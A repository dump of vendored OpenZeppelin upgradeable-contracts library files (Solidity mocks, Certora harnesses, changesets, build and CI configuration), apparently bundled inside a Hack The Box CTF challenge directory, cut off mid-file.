Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165MissingDataUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | import {Initializable} from "../../proxy/utils/Initializable.sol"; 5 | 6 | contract ERC165MissingDataUpgradeable is Initializable { 7 | function __ERC165MissingData_init() internal onlyInitializing { 8 | } 9 | 10 | function __ERC165MissingData_init_unchained() internal onlyInitializing { 11 | } 12 | function supportsInterface(bytes4 interfaceId) public view {} // missing return 13 | } 14 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165NotSupportedUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | import {Initializable} from "../../proxy/utils/Initializable.sol"; 5 | 6 | contract ERC165NotSupportedUpgradeable is Initializable { function __ERC165NotSupported_init() internal onlyInitializing { 7 | } 8 | 9 | function __ERC165NotSupported_init_unchained() internal onlyInitializing { 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/docs/MyNFTUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // contracts/MyNFT.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.20; 4 | 5 | import {ERC721Upgradeable} from "../../token/ERC721/ERC721Upgradeable.sol"; 6 | import {Initializable} from "../../proxy/utils/Initializable.sol"; 7 | 8 | contract MyNFTUpgradeable is Initializable, ERC721Upgradeable { 9 | function __MyNFT_init() internal onlyInitializing { 10 | __ERC721_init_unchained("MyNFT", "MNFT"); 11 | } 12 | 13 | function __MyNFT_init_unchained() internal onlyInitializing {} 14 | } 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/mocks/token/ERC20ExcessDecimalsMockUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | import {Initializable} from "../../proxy/utils/Initializable.sol"; 5 | 6 | contract ERC20ExcessDecimalsMockUpgradeable is Initializable { 7 | function __ERC20ExcessDecimalsMock_init() internal onlyInitializing { 8 | } 9 | 10 | function __ERC20ExcessDecimalsMock_init_unchained() internal onlyInitializing { 11 | } 12 | function decimals() public pure returns (uint256) { 13 | return type(uint256).max; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/token/common/README.adoc: -------------------------------------------------------------------------------- 1 | = Common (Tokens) 2 | 3 | Functionality that is common to multiple token standards. 4 | 5 | * {ERC2981}: NFT Royalties compatible with both ERC-721 and ERC-1155. 6 | ** For ERC-721 consider {ERC721Royalty} which clears the royalty information from storage on burn. 7 | 8 | == Contracts 9 | 10 | {{ERC2981}} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/antora.yml: -------------------------------------------------------------------------------- 1 | name: contracts 2 | title: Contracts 3 | version: 5.x 4 | prerelease: false 5 | nav: 6 | - modules/ROOT/nav.adoc 7 | - modules/api/nav.adoc 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3a.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-3b.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack-6.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-attack.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-deposit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-deposit.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-mint.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-mint.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-linear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-linear.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglog.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglogext.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/erc4626-rate-loglogext.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-exec.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-vote.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/modules/ROOT/images/tally-vote.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/docs/templates/page.hbs: -------------------------------------------------------------------------------- 1 | :github-icon: pass:[] 2 | {{#with-prelude}} 3 | {{readme (readme-path)}} 4 | {{/with-prelude}} 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | solc_version = '0.8.24' 3 | evm_version = 'cancun' 4 | optimizer = true 5 | optimizer-runs = 200 6 | src = 'contracts' 7 | out = 'out' 8 | libs = ['node_modules', 'lib'] 9 | test = 'test' 10 | cache_path = 'cache_forge' 11 | 12 | [fuzz] 13 | runs = 5000 14 | max_test_rejects = 150000 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/fv-requirements.txt: -------------------------------------------------------------------------------- 1 | certora-cli==4.13.1 2 | # File uses a custom name (fv-requirements.txt) so that it isn't picked by Netlify's build 3 | # whose latest Python version is 0.3.8, incompatible with most recent versions of Halmos 4 | halmos==0.2.0 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/hardhat/async-test-sanity.js: -------------------------------------------------------------------------------- 1 | process.on('unhandledRejection', reason => { 2 | throw new Error(reason); 3 | }); 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/hardhat/skip-foundry-tests.js: -------------------------------------------------------------------------------- 1 | const { subtask } = require('hardhat/config'); 2 | const { TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS } = require('hardhat/builtin-tasks/task-names'); 3 | 4 | subtask(TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS).setAction(async (_, __, runSuper) => 5 | (await runSuper()).filter(path => !path.endsWith('.t.sol')), 6 | ); 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/.gitattributes: -------------------------------------------------------------------------------- 1 | src/Vm.sol linguist-generated 2 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/.gitignore: -------------------------------------------------------------------------------- 1 | cache/ 2 | out/ 3 | .vscode 4 | .idea 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationScript.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Script.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationScript is Script {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationScriptBase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Script.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationScriptBase is ScriptBase {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationTest.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Test.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationTest is Test {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/compilation/CompilationTestBase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Test.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationTestBase is TestBase {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/fixtures/test.json: -------------------------------------------------------------------------------- 1 | { 2 | "a": 123, 3 | "b": "test", 4 | "c": { 5 | "a": 123, 6 | "b": "test" 7 | } 8 | } -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/forge-std/test/fixtures/test.toml: -------------------------------------------------------------------------------- 1 | a = 123 2 | b = "test" 3 | 4 | [c] 5 | a = 123 6 | b = "test" 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://unpkg.com/@changesets/config@2.3.0/schema.json", 3 | "changelog": [ 4 | "@changesets/changelog-github", 5 | { 6 | "repo": "OpenZeppelin/openzeppelin-contracts" 7 | } 8 | ], 9 | "commit": false, 10 | "access": "public", 11 | "baseBranch": "master" 12 | } 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/eighty-hounds-promise.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `Strings`: Add `parseUint`, `parseInt`, `parseHexUint` and `parseAddress` to parse strings into numbers and addresses. Also provide variants of these functions that parse substrings, and `tryXxx` variants that do not revert on invalid input. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/four-chairs-help.md: -------------------------------------------------------------------------------- 1 | --- 2 | "openzeppelin-solidity": minor 3 | --- 4 | 5 | `Clones`: Add `cloneWithImmutableArgs` and `cloneDeterministicWithImmutableArgs` variants that create clones with per-instance immutable arguments. The immutable arguments can be retrieved using `fetchCloneArgs`. The corresponding `predictDeterministicWithImmutableArgs` function is also included. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/great-lions-hear.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': patch 3 | --- 4 | 5 | `VotesExtended`: Create an extension of `Votes` which checkpoints balances and delegates. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/healthy-books-shout.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `CAIP2` and `CAIP10`: Add libraries for formatting and parsing CAIP-2 and CAIP-10 identifiers. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/hot-shrimps-wait.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `Packing`: Add variants for packing `bytes10` and `bytes22` 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/lovely-dodos-lay.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `NoncesKeyed`: Add a variant of `Nonces` that implements the ERC-4337 entrypoint nonce system. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/pink-wasps-hammer.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': patch 3 | --- 4 | 5 | `GovernorCountingOverridable`: Add a governor counting module that enables token holders to override the vote of their delegate. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/proud-planes-arrive.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `Bytes`: Add a library of common operations that operate on `bytes` objects. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/seven-donkeys-tap.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': patch 3 | --- 4 | 5 | Update some pragma directives to ensure that all file requirements match that of the files they import. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/small-seahorses-bathe.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `ERC7579Utils`: Add a reusable library to interact with ERC-7579 modular accounts 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/tricky-bats-pretend.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `ERC1363Utils`: Add helper similar to the existing `ERC721Utils` and `ERC1155Utils` 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.changeset/weak-roses-bathe.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `ERC4337Utils`: Add a reusable library to manipulate user operations and interact with ERC-4337 contracts 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.codecov.yml: -------------------------------------------------------------------------------- 1 | comment: off 2 | github_checks: 3 | annotations: false 4 | coverage: 5 | status: 6 | patch: 7 | default: 8 | target: 95% 9 | only_pulls: true 10 | project: 11 | default: 12 | threshold: 1% 13 | ignore: 14 | - "test" 15 | - "contracts/mocks" 16 | - "contracts/vendor" 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.editorconfig: -------------------------------------------------------------------------------- 1 | # EditorConfig is awesome: https://EditorConfig.org 2 | 3 | # top-most EditorConfig file 4 | root = true 5 | 6 | [*] 7 | charset = utf-8 8 | end_of_line = lf 9 | indent_style = space 10 | insert_final_newline = true 11 | trim_trailing_whitespace = false 12 | max_line_length = 120 13 | 14 | [*.sol] 15 | indent_size = 4 16 | 17 | [*.js] 18 | indent_size = 2 19 | 20 | [*.{adoc,md}] 21 | max_line_length = 0 22 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.githooks/pre-push: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | if [ "${CI:-"false"}" != "true" ]; then 6 | npm run test:generation 7 | npm run lint 8 | fi 9 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.github/ISSUE_TEMPLATE/config.yml: -------------------------------------------------------------------------------- 1 | contact_links: 2 | - name: Questions & Support Requests 3 | url: https://forum.openzeppelin.com/c/support/contracts/18 4 | about: Ask in the OpenZeppelin Forum 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for OpenZeppelin Contracts 4 | 5 | --- 6 | 7 | **🧐 Motivation** 8 | 9 | 10 | **📝 Details** 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.github/workflows/docs.yml: -------------------------------------------------------------------------------- 1 | name: Build Docs 2 | 3 | on: 4 | push: 5 | branches: [release-v*] 6 | 7 | permissions: 8 | contents: write 9 | 10 | jobs: 11 | build: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v4 15 | - name: Set up environment 16 | uses: ./.github/actions/setup 17 | - run: bash scripts/git-user-config.sh 18 | - run: node scripts/update-docs-branch.js 19 | - run: git push --all origin 20 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | branch = v1 3 | path = lib/forge-std 4 | url = https://github.com/foundry-rs/forge-std 5 | [submodule "lib/erc4626-tests"] 6 | path = lib/erc4626-tests 7 | url = https://github.com/a16z/erc4626-tests.git 8 | [submodule "lib/halmos-cheatcodes"] 9 | path = lib/halmos-cheatcodes 10 | url = https://github.com/a16z/halmos-cheatcodes 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.mocharc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | require: 'hardhat/register', 3 | timeout: 4000, 4 | }; 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "printWidth": 120, 3 | "singleQuote": true, 4 | "trailingComma": "all", 5 | "arrowParens": "avoid", 6 | "overrides": [ 7 | { 8 | "files": "*.sol", 9 | "options": { 10 | "singleQuote": false 11 | } 12 | } 13 | ], 14 | "plugins": ["prettier-plugin-solidity"] 15 | } 16 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/.solcover.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | norpc: true, 3 | testCommand: 'npm test', 4 | compileCommand: 'npm run compile', 5 | skipFiles: ['mocks'], 6 | providerOptions: { 7 | default_balance_ether: '10000000000000000000000000', 8 | }, 9 | mocha: { 10 | fgrep: '[skip-on-coverage]', 11 | invert: true, 12 | }, 13 | // Work around stack too deep for coverage 14 | configureYulOptimizer: true, 15 | solcOptimizerDetails: { 16 | yul: true, 17 | yulDetails: { 18 | optimizerSteps: '', 19 | }, 20 | }, 21 | }; 22 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/FUNDING.json: -------------------------------------------------------------------------------- 1 | { 2 | "drips": { 3 | "ethereum": { 4 | "ownedBy": "0xAeb37910f93486C85A1F8F994b67E8187554d664" 5 | } 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2018-10.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2018-10.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-Checkpoints.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-Checkpoints.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-ERC4626.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-ERC4626.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-05-v4.9.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-05-v4.9.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-10-v5.0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-10-v5.0.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2024-10-v5.1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2024-10-v5.1.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/.gitignore: -------------------------------------------------------------------------------- 1 | patched 2 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/AccessControlHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {AccessControl} from "../patched/access/AccessControl.sol"; 5 | 6 | contract AccessControlHarness is AccessControl {} 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/ERC3156FlashBorrowerHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | import {IERC3156FlashBorrower} from "../patched/interfaces/IERC3156FlashBorrower.sol"; 4 | 5 | pragma solidity ^0.8.20; 6 | 7 | contract ERC3156FlashBorrowerHarness is IERC3156FlashBorrower { 8 | bytes32 somethingToReturn; 9 | 10 | function onFlashLoan(address, address, uint256, uint256, bytes calldata) external view override returns (bytes32) { 11 | return somethingToReturn; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/ERC721ReceiverHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import "../patched/interfaces/IERC721Receiver.sol"; 6 | 7 | contract ERC721ReceiverHarness is IERC721Receiver { 8 | function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) { 9 | return this.onERC721Received.selector; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/NoncesHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Nonces} from "../patched/utils/Nonces.sol"; 5 | 6 | contract NoncesHarness is Nonces { 7 | function useNonce(address account) external returns (uint256) { 8 | return _useNonce(account); 9 